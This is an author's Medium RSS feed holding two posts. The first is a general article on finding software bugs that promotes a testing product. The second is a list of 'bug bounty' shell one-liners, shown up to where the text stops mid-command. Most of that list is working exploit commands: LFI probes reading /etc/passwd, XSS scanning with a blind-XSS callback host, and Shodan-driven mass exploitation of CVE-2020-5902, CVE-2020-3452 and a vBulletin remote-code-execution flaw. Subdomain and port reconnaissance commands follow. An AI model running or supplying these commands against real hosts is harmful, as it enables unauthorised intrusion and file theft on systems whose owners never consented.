<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Md. Nur Habib on Medium]]></title>
        <description><![CDATA[Stories by Md. Nur Habib on Medium]]></description>
        <link>https://medium.com/@thenurhabib?source=rss-e00711f60772------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ZcAIiyVmmzoS7SMarfj-jA.jpeg</url>
            <title>Stories by Md. Nur Habib on Medium</title>
            <link>https://medium.com/@thenurhabib?source=rss-e00711f60772------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 14:56:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@thenurhabib/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Easy & Step-By-Step Ways of Finding Bugs in Software]]></title>
            <link>https://thenurhabib.medium.com/easy-step-by-step-ways-of-finding-bugs-in-software-1eeae57cab2c?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eeae57cab2c</guid>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[software]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Thu, 25 Aug 2022 10:18:07 GMT</pubDate>
            <atom:updated>2022-08-25T10:18:07.175Z</atom:updated>
            <content:encoded><![CDATA[<p>The bug is one of the most horrifying words for many developers. Even many experienced and highly skilled developers encounter bugs as it is inevitable to avoid them in the first development cycle.</p><p>Error in the software frustrates the software developer. And I am sure that you might have encountered in your software development career that you cannot<strong> find the bug in the software</strong>.</p><p>Due to bugs in the software, you might not be able to launch the software on time. So<strong> bug-finding </strong>and solving the problem is very important.</p><p>In this article, we will learn<strong> how to find bugs in software</strong> in a simple and step-by-step manner. So read this article carefully, create your own checklist, and we’ll meet at the conclusion.</p><h3>End-to-End Testing on real iOS, Android Devices &amp; Browsers</h3><p><a href="https://public.testgrid.io/signup"><strong>Start Free Testing</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/150/0*l07ZMM2xaT9M3iKL.png" /></figure><h3>Bug Finding: How to Find Maximum Bugs, Types, and Tools</h3><p>At the end of this article, you’ll be able to find the best way to find Maximum bugs in your software, the type of bugs, and the tools which can make your cumbersome bug-finding task with a snap of a finger.</p><h3>Some Shocking Facts About Software Bugs</h3><ul><li>The recent iPhone bug where users could not type the letter “I”.</li><li>Some are costly bugs and can cost a fortune to fix one such bug: the Y2K bug.</li><li>One software bug literally led to the death of people due to the patriot missile bug; 28 people died in 1991.</li><li>Any buggy code reflects poorly on them and their team and will eventually affect the company’s bottom line.</li><li>Also, buggy code is inconvenient to work with and reduces productivity. The more quality code you can write, the more effective you will be. Finally, bugs are expensive.</li><li>Various software bugs are estimated to have cost the global economy $1.7 trillion in 2017.</li></ul><p>Hence,<strong> finding and solving even the small bugs is crucial </strong>even in each and every software. Bugs in software can literally shut down your business, and I am not even kidding.</p><p>In the end, if a user is not getting a great product, he will shift, and there are always alternatives. So let us understand in detail how to find bugs.</p><h3>Best Way to Find the Maximum Number of Bugs in Software</h3><h3>#01 Quick Attacks on Real Browsers and Devices</h3><p>It’s even hard to imagine a tester doing a quality check system without any requirements. In the absence of formal requirements, it’s hard to create test scenarios. In such a situation the best technique is to attack the system, causing panic in the software by putting wrong values in the software all this will eventually help to find the problem in the software.</p><p>You can attack the software by doing certain things like leaving a few required fields blank, disrupting UI workflows, entering numbers when users are supposed to enter characters, exceeding character limits, using prohibited characters, and entering an excessive number of incorrect passwords.</p><p>The logic behind these attacks is to perform quick software analyses in a limited amount of time. They enable the tester to quickly assess the nature of the software based on the error messages and bugs that appear.</p><p>Even if a single bug appears, it is safe to assume that there are flaws in the main functionalities. In contrast, the absence of bugs with this method usually indicates that the happy path functionality is in good shape.</p><p>Remember that these quick attacks must be carried out in real-world user environments. That means that when someone is testing their software with unpredictability, they must do so in an environment that is identical to end-user conditions.</p><p>To summarise, you must conduct rapid attacks on the software and devices. Otherwise, even if an emulator or simulator might detect the bugs that do not appear on the real device or when using the software on a real device.</p><h3>#02 Pay Attention to the Test Environment</h3><p>Testers typically have time to prepare scenarios, establish timelines, and establish procedures. This period should also include an assessment of the test infrastructure, also known as the test environment. This is due to flaws in the testing environment, causing unnecessary and entirely avoidable delays in the generation of test results.</p><p>It can also result in the appearance of bugs that aren’t caused by the software itself.</p><p>There are a few things more aggravating than dealing with setup-related bugs that cannot be fixed with code. Typically, the actual source of the bug is not immediately identified, resulting in the aforementioned delay.</p><p>Consider the situation of a tester who discovers and reports a bug, but when the developer examines it, no problems are found in the code. So, while the developer is frustratedly googling “how to find bugs in code,” the test cannot proceed because the apparent “bug” cannot be fixed.</p><p>In the event of setup errors, the same test can produce different results each time. This makes it difficult to reproduce the defect, which is a developer’s worst nightmare.</p><h3>#03 Do Your Own Research</h3><p>Before beginning testing, thoroughly understand the entire application or module.</p><p>Prepare enough Test Data before running tests; this dataset should include test case conditions and database records if you are testing a database-related application.</p><p>Attempt to determine the resulting pattern and then compare your results to those patterns.</p><p>Insert pointers into your code. I mean a method of finding a block of code. For example, it could be a printed statement. This makes it easy to pinpoint the source of the error.</p><p>Make use of breakpoints. Stop the code at a specific point to see if everything is working up to that point.</p><p>Whatever problem you are dealing with has been dealt with in some form before. So research Google it, and you might find a way to deal with it.</p><h3>#04 Pareto Principle</h3><p><em>According to the Pareto principle, 20% of efforts generate 80% of results, and the rest, 80%, bring a lower 20%. This principle was introduced by Italian economist Vilfredo Pareto hence the name Pareto principle.</em></p><p>In software testing, the Pareto Principle means that 80% of all bugs are present in 20% of program modules, don’t take this number seriously; the bottom line is that majority of the bugs in the software are crowded into a specific section of the code, and the majority of the big errors are present in that section of the code only so take that section of code.</p><h3>#05 Set Goals for Software Quality</h3><p>The tester should be aware of the standard of the software that needs to be maintained, which gives the tester an idea of what sort of bugs to look for.</p><p>If a tester is wondering about how to<strong> find a bug in the software</strong>, then the best way to start is by understanding what users of the software expect it might in terms of user experience, new features, functionalities, etc</p><p>Proper clarity about goals helps QAs create test scenarios and test cases accordingly. If the main function, main need, and expectation of the user from the software are known, then the tester can start testing those features first that are important to the majority of the users.</p><p>So have a talk with the QA manager, and ask the manager for goal documents.</p><p>Do your own research about the same this will help find important bugs.</p><h3>11 Most Common Types of Bugs in Software You Should Know</h3><p>This part is one of the most crucial ones as you must know as a developer or software tester; if you know precisely what different types of bugs software can encounter, you can solve the problem much faster.</p><p>Although automation testing tools like TestGrid automatically test for bugs in software, you can create a report accordingly, thus automating the whole process of<strong> finding the bug</strong> for you.</p><h3>#01 Functional Error</h3><p>Regarding functionality, each program should work correctly. However, as you can understand from the name itself, functionality errors occur when software does not perform the allocated function.</p><p>Functionality errors are a different category of errors ranging from simple functionalities, such as unclickable buttons, to the inability to use the software’s main functionality. Functional testing is typically used to detect functional errors.</p><p>For example, the functionality of a ‘save’ button is that changes in the doc should be saved if you cannot click the button, then it is a functional error.</p><p>With functionality testing, Software testers can discover a more specific software bug causing the functionality error.</p><p>With automation testing software like TestGrid, you can perform automated functional testing; thus, without any tester team or coding, you can find the functionality error.</p><h3>#02 Syntax Errors</h3><p>These types of software bugs occur in a program’s source code.</p><p>One of the most common software bugs is syntax errors, which prevent your application from being correctly compiled.</p><p>This type of problem occurs when your code is missing or contains incorrect characters.</p><p>This software flaw could be caused by a misspelled command or a missing bracket. Typically, your development team will become aware of these errors while compiling programs.</p><h3>#03 Logical Bugs</h3><p>Logic errors are one type of coding error that can cause your software to produce incorrect output, crash, or even fail. Logic defects, such as an infinite loop, are errors in the flow of your software.</p><p>The infinite loop occurs due to poorly written or incorrect coding, which causes the program to malfunction and forces a specific sequence to repeat forever until the program crashes or some external interruption occurs, such as closing the program or turning off the power.</p><p><strong>Some of the examples of logical error are :</strong></p><ul><li>Incorrectly assigning a value to a variable</li><li>Dividing two numbers instead of adding them together produces unexpected results.</li></ul><h3>#04 Performance Errors</h3><p>Performance defects are another type of software bug related to the speed of the software, an issuer with the stability of the software, or response time or resource consumption. Usually, this type of bug is discovered during the software development process.</p><p>Performance error is one of the most common types of software bugs.</p><p>This includes software that runs at a slower speed than required or a response time that is longer than acceptable for the project’s requirements.</p><h3>#05 Calculation Error</h3><p>A calculation error occurs whenever software returns an incorrect value, whether it is one that the end-user sees or one that is passed to another program. This could happen for a variety of reasons, including:</p><ul><li>To compute the value, the software employs the incorrect algorithm.</li><li>A data type mismatch exists in the calculation.</li><li>For example, the developers incorrectly coded the calculation or value hand-off to another program.</li></ul><h3>#06 Security Error</h3><p>Security flaws are among the most severe types of flaws that a software developer or software engineering team can encounter. For example, security flaws differ from other software bugs in exposing your project to risk.</p><p>A security flaw exposes your software, company, and clients to a severe potential attack. And these attacks can be expensive, for every business no matter big or small.</p><p>Still, some of the most common are encryption errors, SQL injection susceptibility, XSS vulnerabilities, buffer overflows, logical errors, and inadequate authentication, among others.</p><h3>#07 Unit-Level Error</h3><p>The unit-level software bug is another common type of bug. After your program has been coded, the developer himself typically performs unit testing, which involves testing a smaller section of the code as a whole to ensure that it functions properly.</p><p>During this testing process, teams will begin to discover unit-level bugs, such as calculation errors and basic logic bugs.</p><p>These unit-level types of software bugs are easy to isolate and fix because you are still dealing with a relatively small amount of code.</p><h3>#08 System-Level Integration Bugs</h3><p>These errors occur when there is an error in the interaction of two different subsystems. Because multiple software systems are involved, often written by different developers, these software bugs are generally more challenging to fix.</p><p>System-level integration bugs occur primarily when two or more units of codes written by different developers fail to interact with each other or due to inconsistencies between two or more components. It is difficult to track and fix these sorts of bugs and requires developers to go through large chunks of code.</p><p>Memory overflow issues and inappropriate interfacing between the application UI and the database are some examples of system-level interaction bugs.</p><h3>#09 Usability Error</h3><p>A usability defect is the type of error that prevents a user from fully utilizing the software. This bug makes it difficult or inconvenient to use a piece of software.</p><p>A complex content layout or an overly complicated signup feature are examples of usability flaws.</p><p>During the usability testing phase, software engineers and UX designers must check their software against the Web Content Accessibility Guidelines and other usability requirements to discover these types of software bugs.</p><h3>#10 Control Flow Error</h3><p>The software control flow describes what will happen next and under what circumstances.</p><p>Errors in the control flow prevent software from progressing to the following tasks correctly, potentially slowing down the entire company’s workflow.</p><p>A control flow error occurs when a user clicks the “save and next” button at the end of a questionnaire or a process and is not redirected to a new page.</p><p>Errors, bugs, and mistakes occur everywhere and can cause significant damage if not identified and corrected quickly, particularly in the IT industry.</p><p>When a single comma is missing, the entire IT product suffers, and we must focus on detecting and combating bugs.</p><p>From the beginning, all IT companies have their own testers who work long hours with each component of a new software solution to find and eliminate errors one by one. Keep this in mind when selecting an IT partner.</p><h3>#11 Compatibility Errors</h3><p>Compatibility error occurs when the software or an application is incompatible with hardware or an operating system. Finding compatibility errors is not common practice because they may not be detected during initial testing.</p><p>As a result, developers should conduct compatibility testing to ensure that their software is compatible with common hardware and operating systems.</p><h3>Some Examples of Bugs in Software</h3><h3>Software Defects By Severity</h3><ul><li><strong>Critical defects</strong> typically obstruct an entire system’s or module’s functionality, and testing cannot continue until such a defect is fixed. A critical flaw is when an application returns a server error message after a login attempt.</li><li><strong>High-severity defects </strong>affect an application’s key functionality, and the app behaves in a way that differs significantly from the one specified in the requirements; for example, an email service provider does not allow adding more than one email address to the recipient field.</li><li>When a minor function does not behave as specified in the requirements, a <strong>medium-severity defect</strong> is identified. For example, a broken link in an application’s Terms and Conditions section is an example of such a flaw.</li><li><strong>Low-severity defects</strong> are mostly related to an application’s user interface and can include things like a slightly different size or color of a button.</li></ul><h3>Software Defects By Priority</h3><ul><li><strong>Urgent defects</strong> must be corrected within 24 hours of being reported. This category includes defects with a critical severity status. However, low-severity defects can also be classified as high-priority. For example, a typo in a company’s name on an application’s home page has no technical impact on software but has a significant business impact, hence urgent defects.</li><li><strong>High-priority defects</strong> are errors that must be fixed in a future release to meet the exit criteria. For example, a high-priority defect would be an application failing to navigate a user from the login page to the home page despite the user entering valid login data.</li><li><strong>Medium-priority defects </strong>are errors that may be fixed in a subsequent release or after an upcoming release. A medium-priority defect is an application that returns the expected result but formats incorrectly in a specific browser.</li><li><strong>Low-priority defects</strong> are errors that do not need to be fixed in order to meet the exit criteria but must be fixed before an application is released to the public. This category typically includes typos, alignment, element size, and other cosmetic UI issues.</li></ul><h3>What is the First Thing to do When You Find A Bug In The Software?</h3><h3>#01 Begin Testing Additional Related Scenarios</h3><p>Bugs are always part of a colony. When you identify a bug in one area, it’s relatively common to discover other related issues. So, once something is discovered, keep looking because you never know what else you’ll discover.</p><h3>#02 Note the Current State of the Application</h3><p>This can also help you determine whether an external issue caused the bug. Not only do you want to know how to reproduce the problem, but also the current state of the environment in which you are testing.</p><h3>#03 Check to See if it has Already Been Reported</h3><p>Some bugs have already been identified and reported. However, it’s pointless to redo work that has already been done.</p><h3>#04 Report It As Soon As Possible</h3><p>If you discover that the bug has not been reported (see step above), you must report the issue as soon as possible. Bugs enjoy being identified and recognized.</p><p>Allow them five minutes of fame. When the problem is fresh in your mind, it’s easier to write a bug report that doesn’t stink. You also want to shorten the duration of the feedback loop (time between code creation and validation). This increases the team’s productivity.</p><h3>#05 Enjoy The Moment</h3><p>I’ve seen testers become enraged when they discover bugs. They’re upset because the system is broken.</p><p>It’s aggravating when you run into roadblocks. With deadlines looming and other pressures placed on teams, finding bugs in software may be the last thing on your mind. It’s much easier when everything just works, but that’s not your job.</p><p>It is your responsibility to find bugs before customers. It is your job to play the hero and villain. When you find your next bug, thank you for helping someone.</p><p>Read similar: <a href="https://www.testgrid.io/blog/deal-with-missed-bugs/">5 Professional Ways to Deal With Missed Bugs Effectively</a></p><h3>Steps You Should Follow to Find Software Bugs</h3><p>The best way to test software for bugs is to do the following:</p><ul><li>Before beginning testing, thoroughly understand the entire application or module.</li><li>Before beginning testing, create specific test cases. I mean emphasizing the functional test cases that include the application’s significant risk.</li><li>Prepare enough Test Data before running tests; this dataset should include test case conditions as well as database records if you are testing a database-related application.</li><li>Run the tests again with a different Test Environment.</li><li>Attempt to determine the expected result and then compare your results to those patterns.</li><li>Once you believe you have completed the majority of the test conditions and are feeling somewhat tired, perform some Monkey Testing.</li><li>Analyze the current set of tests using your previous Test Data pattern.</li><li>Execute some Standard Test Cases for which you discovered bugs in another application. For example, if you’re testing an input text box, try inserting some HTML tags as inputs and seeing what happens on the display page.</li><li>The final and best trick is to work hard to find the bug as if you’re only testing to break the application.</li></ul><h3>Bug Finding Tools</h3><p>Bug identifying tools are probably the simplest way to find software bugs. Such tools make it easier to track, report, and assign bugs in software development, making testing easier. There are several tools available, such as SpiraTeam, Userback, and ClickUp, that can accomplish this task and greatly simplify software testing.</p><h3>Role of Real Devices in Bug Finding</h3><p>To launch a highly successful, efficient, user-friendly software in the industry, it is essential your software must be thoroughly tested in real user conditions.</p><p>This aids in detecting and resolving the majority of bugs that an end-user may encounter in the real world.</p><p>Extensive testing necessitates a robust device lab that allows testers to test their web and mobile apps across a wide range of device-browser-OS combinations.</p><p>Keep in mind that establishing a testing lab necessitates a significant financial investment as well as ongoing maintenance. Naturally, this is not feasible for all businesses.</p><p>Here TestGrid comes to the rescue with the TestGrid automation testing tool; you can conduct testing across various mobile devices, from old ones to very recent ones, thus making software work smoothly across different devices. Also, this process can be done anytime and anywhere with cloud infrastructure.</p><h3>Conclusion</h3><p>With the advancement in technology and growing competition, software development has become more and more difficult. You must provide regular updates, add new features, and much more.</p><p>All this leads to different types of bugs in the software, and with limited time, resources, and budget, it becomes difficult to find every bug. So it’s essential to go with a certain framework that can help you solve as many bugs as possible and also focus on testing the most critical areas of application for your business.</p><p>Everyone in the software development process should contribute toward testing the software. Also, automation testing tools like TestGrid help you to test the software properly.</p><p>With automation testing software like TestGrid, you get maximum test cases in the industry, detailed reports, cloud infrastructure, AI automation testing, no-code automation testing, and many more features; all these features help to find bugs quickly, and even people with no knowledge of coding can start software testing.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eeae57cab2c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[One-liner Bug Bounty Tips]]></title>
            <link>https://thenurhabib.medium.com/one-liner-bug-bounty-tips-fa386b756e16?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa386b756e16</guid>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[bugbounting]]></category>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Mon, 28 Mar 2022 07:04:32 GMT</pubDate>
            <atom:updated>2022-03-29T01:59:53.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>Definitions</h3><p>This section defines specific terms or placeholders that are used throughout one-line command/scripts.</p><ul><li>1.1. “HOST” defines one hostname, (sub)domain, or IP address, e.g. replaced by internal.host, domain.tld, sub.domain.tld, or 127.0.0.1.</li><li>1.2. “HOSTS.txt” contains criteria 1.1 with more than one in file.</li><li>2.1. “URL” definitely defines the URL, e.g. replaced by http://domain.tld/path/page.html or somewhat starting with HTTP/HTTPS protocol.</li><li>2.2. “URLS.txt” contains criteria 2.1 with more than one in file.</li><li>3.1. “FILE.txt” or “FILE{N}.txt&quot; means the files needed to run the command/script according to its context and needs.</li><li>4.1. “OUT.txt” or “OUT{N}.txt&quot; means the file as the target storage result will be the command that is executed.</li></ul><h3>Local File Inclusion</h3><blockquote><em>@dwisiswant0</em></blockquote><pre>gau HOST | gf lfi | qsreplace &quot;/etc/passwd&quot; | xargs -I% -P 25 sh -c &#39;curl -s &quot;%&quot; 2&gt;&amp;1 | grep -q &quot;root:x&quot; &amp;&amp; echo &quot;VULN! %&quot;&#39;</pre><h3>Open-redirect</h3><blockquote><em>@dwisiswant0</em></blockquote><pre>export LHOST=&quot;URL&quot;; gau $1 | gf redirect | qsreplace &quot;$LHOST&quot; | xargs -I % -P 25 sh -c &#39;curl -Is &quot;%&quot; 2&gt;&amp;1 | grep -q &quot;Location: $LHOST&quot; &amp;&amp; echo &quot;VULN! %&quot;&#39;</pre><blockquote><em>@N3T_hunt3r</em></blockquote><pre>cat URLS.txt | gf url | tee url-redirect.txt &amp;&amp; cat url-redirect.txt | parallel -j 10 curl --proxy <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a> -sk &gt; /dev/null</pre><h3>XSS</h3><blockquote><em>@cihanmehmet</em></blockquote><pre>gospider -S URLS.txt -c 10 -d 5 --blacklist &quot;.(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)&quot; --other-source | grep -e &quot;code-200&quot; | awk &#39;{print $5}&#39;| grep &quot;=&quot; | qsreplace -a | dalfox pipe | tee OUT.txt</pre><blockquote><em>@fanimalikhack</em></blockquote><pre>waybackurls HOST | gf xss | sed &#39;s/=.*/=/&#39; | sort -u | tee FILE.txt &amp;&amp; cat FILE.txt | dalfox -b YOURS.xss.ht pipe &gt; OUT.txt</pre><blockquote><em>@oliverrickfors</em></blockquote><pre>cat HOSTS.txt | getJS | httpx --match-regex &quot;addEventListener\((?:&#39;|\&quot;)message(?:&#39;|\&quot;)&quot;</pre><h3>Prototype Pollution</h3><blockquote><em>@R0X4R</em></blockquote><pre>subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt &amp;&amp; sed &#39;s/$/\/?__proto__[testparam]=exploit\//&#39; FILE.txt | page-fetch -j &#39;window.testparam == &quot;exploit&quot;? &quot;[VULNERABLE]&quot; : &quot;[NOT VULNERABLE]&quot;&#39; | sed &quot;s/(//g&quot; | sed &quot;s/)//g&quot; | sed &quot;s/JS //g&quot; | grep &quot;VULNERABLE&quot;</pre><h3>CVE-2020–5902</h3><blockquote><em>@Madrobot_</em></blockquote><pre>shodan search http.favicon.hash:-335242539 &quot;3992&quot; --fields ip_str,port --separator &quot; &quot; | awk &#39;{print $1&quot;:&quot;$2}&#39; | while read host do ;do curl --silent --path-as-is --insecure &quot;https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd&quot; | grep -q root &amp;&amp; \printf &quot;$host \033[0;31mVulnerable\n&quot; || printf &quot;$host \033[0;32mNot Vulnerable\n&quot;;done</pre><h3>CVE-2020–3452</h3><blockquote><em>@vict0ni</em></blockquote><pre>while read LINE; do curl -s -k &quot;https://$LINE/+CSCOT+/translation-table?type=mst&amp;textdomain=/%2bCSCOE%2b/portal_inc.lua&amp;default-language&amp;lang=../&quot; | head | grep -q &quot;Cisco&quot; &amp;&amp; echo -e &quot;[${GREEN}VULNERABLE${NC}] $LINE&quot; || echo -e &quot;[${RED}NOT VULNERABLE${NC}] $LINE&quot;; done &lt; HOSTS.txt</pre><h3>CVE-2022–0378</h3><blockquote><em>@7h3h4ckv157</em></blockquote><pre>cat URLS.txt | while read h do; do curl -sk &quot;$h/module/?module=admin%2Fmodules%2Fmanage&amp;id=test%22+onmousemove%3dalert(1)+xx=%22test&amp;from_url=x&quot;|grep -qs &quot;onmouse&quot; &amp;&amp; echo &quot;$h: VULNERABLE&quot;; done</pre><h3>vBulletin 5.6.2 — ‘widget_tabbedContainer_tab_panel’ Remote Code Execution</h3><blockquote><em>@Madrobot_</em></blockquote><pre>shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator &quot; &quot; | awk &#39;{print $1&quot;:&quot;$2}&#39; | while read host do ;do curl -s <a href="http://$host/ajax/render/widget_tabbedcontainer_tab_panel">http://$host/ajax/render/widget_tabbedcontainer_tab_panel</a> -d &#39;subWidgets[0][template]=widget_php&amp;subWidgets[0][config][code]=phpinfo();&#39; | grep -q phpinfo &amp;&amp; \printf &quot;$host \033[0;31mVulnerable\n&quot; || printf &quot;$host \033[0;32mNot Vulnerable\n&quot;;done;</pre><h3>Find JavaScript Files</h3><blockquote><em>@D0cK3rG33k</em></blockquote><pre>assetfinder --subs-only HOST | gau | egrep -v &#39;(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)&#39; | while read url; do vars=$(curl -s $url | grep -Eo &quot;var [a-zA-Zo-9_]+&quot; | sed -e &#39;s, &#39;var&#39;,&#39;&quot;$url&quot;?&#39;,g&#39; -e &#39;s/ //g&#39; | grep -v &#39;.js&#39; | sed &#39;s/.*/&amp;=xss/g&#39;):echo -e &quot;\e[1;33m$url\n&quot; &quot;\e[1;32m$vars&quot;; done</pre><h3>Extract Endpoints from JavaScript</h3><blockquote><em>@renniepak</em></blockquote><pre>cat FILE.js | grep -oh &quot;\&quot;\/[a-zA-Z0-9_/?=&amp;]*\&quot;&quot; | sed -e &#39;s/^&quot;//&#39; -e &#39;s/&quot;$//&#39; | sort -u</pre><h3>Get CIDR &amp; Org Information from Target Lists</h3><blockquote><em>@steve_mcilwain</em></blockquote><pre>for HOST in $(cat HOSTS.txt);do echo $(for ip in $(dig a $HOST +short); do whois $ip | grep -e &quot;CIDR\|Organization&quot; | tr -s &quot; &quot; | paste - -; d<br>one | uniq); done</pre><h3>Get Subdomains from RapidDNS.io</h3><blockquote><em>@andirrahmani1</em></blockquote><pre>curl -s &quot;https://rapiddns.io/subdomain/$1?full=1#result&quot; | grep &quot;&lt;td&gt;&lt;a&quot; | cut -d &#39;&quot;&#39; -f 2 | grep http | cut -d &#39;/&#39; -f3 | sed &#39;s/#results//g&#39; | sort -u</pre><h3>Get Subdomains from BufferOver.run</h3><blockquote><em>@_ayoubfathi_</em></blockquote><pre>curl -s <a href="https://dns.bufferover.run/dns?q=.HOST.com">https://dns.bufferover.run/dns?q=.HOST.com</a> | jq -r .FDNS_A[] | cut -d&#39;,&#39; -f2 | sort -u</pre><blockquote><em>@AnubhavSingh_</em></blockquote><pre>export domain=&quot;HOST&quot;; curl &quot;https://tls.bufferover.run/dns?q=$domain&quot; | jq -r .Results&#39;[]&#39; | rev | cut -d &#39;,&#39; -f1 | rev | sort -u | grep &quot;\.$domain&quot;</pre><h3>Get Subdomains from Riddler.io</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl -s &quot;https://riddler.io/search/exportcsv?q=pld:HOST&quot; | grep -Po &quot;(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot; | sort -u</pre><h3>Get Subdomains from VirusTotal</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl -s &quot;https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40&quot; | grep -Po &quot;((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot; | sort -u</pre><h3>Get Subdomain with cyberxplore</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl https://subbuster.cyberxplore.com/api/find?domain=HOST -s | grep -Po &quot;(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot;</pre><h3>Get Subdomains from CertSpotter</h3><blockquote><em>@caryhooper</em></blockquote><pre>curl -s &quot;https://certspotter.com/api/v1/issuances?domain=HOST&amp;include_subdomains=true&amp;expand=dns_names&quot; | jq .[].dns_names | grep -Po &quot;(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot; | sort -u</pre><h3>Get Subdomains from Archive</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl -s &quot;http://web.archive.org/cdx/search/cdx?url=*.HOST/*&amp;output=text&amp;fl=original&amp;collapse=urlkey&quot; | sed -e &#39;s_https*://__&#39; -e &quot;s/\/.*//&quot; | sort -u</pre><h3>Get Subdomains from JLDC</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl -s &quot;https://jldc.me/anubis/subdomains/HOST&quot; | grep -Po &quot;((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot; | sort -u</pre><h3>Get Subdomains from securitytrails</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl -s &quot;https://securitytrails.com/list/apex_domain/HOST&quot; | grep -Po &quot;((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot; | grep &quot;.HOST&quot; | sort -u</pre><h3>Bruteforcing Subdomain using DNS Over</h3><blockquote><em>@pikpikcu</em></blockquote><pre>while read sub; do echo &quot;https://dns.google.com/resolve?name=$sub.HOST&amp;type=A&amp;cd=true&quot; | parallel -j100 -q curl -s -L --silent  | grep -Po &#39;[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|&quot;.*?&quot;)+[}\]]{1}&#39; | jq | grep &quot;name&quot; | grep -Po &quot;((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+&quot; | grep &quot;.HOST&quot; | sort -u ; done &lt; FILE.txt</pre><h3>Get Subdomains With sonar.omnisint.io</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -oE &quot;[a-zA-Z0-9._-]+\.HOST&quot; | sort -u</pre><h3>Get Subdomains With synapsint.com</h3><blockquote><em>@pikpikcu</em></blockquote><pre>curl --silent -X POST https://synapsint.com/report.php -d &quot;name=https%3A%2F%2FHOST&quot; | grep -oE &quot;[a-zA-Z0-9._-]+\.HOST&quot; | sort -u</pre><h3>Get Subdomains from crt.sh</h3><blockquote><em>@vict0ni</em></blockquote><pre>curl -s &quot;https://crt.sh/?q=%25.HOST&amp;output=json&quot; | jq -r &#39;.[].name_value&#39; | sed &#39;s/\*\.//g&#39; | sort -u</pre><h3>Sort &amp; Tested Domains from Recon.dev</h3><blockquote><em>@stokfedrik</em></blockquote><pre>curl &quot;https://recon.dev/api/search?key=apikey&amp;domain=HOST&quot; |jq -r &#39;.[].rawDomains[]&#39; | sed &#39;s/ //g&#39; | sort -u | httpx -silent</pre><h3>Subdomain Bruteforcer with FFUF</h3><blockquote><em>@GochaOqradze</em></blockquote><pre>ffuf -u <a href="https://fuzz.host/">https://FUZZ.HOST</a> -w FILE.txt -v | grep &quot;| URL |&quot; | awk &#39;{print $4}&#39;</pre><h3>Find Allocated IP Ranges for ASN from IP Address</h3><blockquote><em>wains.be</em></blockquote><pre>whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk &#39;{print $NF}&#39; | head -1) | grep -w &quot;route:&quot; | awk &#39;{print $NF}&#39; | sort -n</pre><h3>Extract IPs from a File</h3><blockquote><em>@emenalf</em></blockquote><pre>grep -E -o &#39;(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)&#39; file.txt</pre><h3>Ports Scan without CloudFlare</h3><blockquote><em>@dwisiswant0</em></blockquote><pre>subfinder -silent -d HOST | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe</pre><h3>Create Custom Wordlists</h3><blockquote><em>@tomnomnom</em></blockquote><pre>gau HOST | unfurl -u keys | tee -a FILE1.txt; gau HOST | unfurl -u paths | tee -a FILE2.txt; sed &#39;s#/#\n#g&#39; FILE2.txt | sort -u | tee -a FILE1.txt | sort -u; rm FILE2.txt  | sed -i -e &#39;s/\.css\|\.png\|\.jpeg\|\.jpg\|\.svg\|\.gif\|\.wolf\|\.bmp//g&#39; FILE1.txt</pre><pre>cat HOSTS.txt 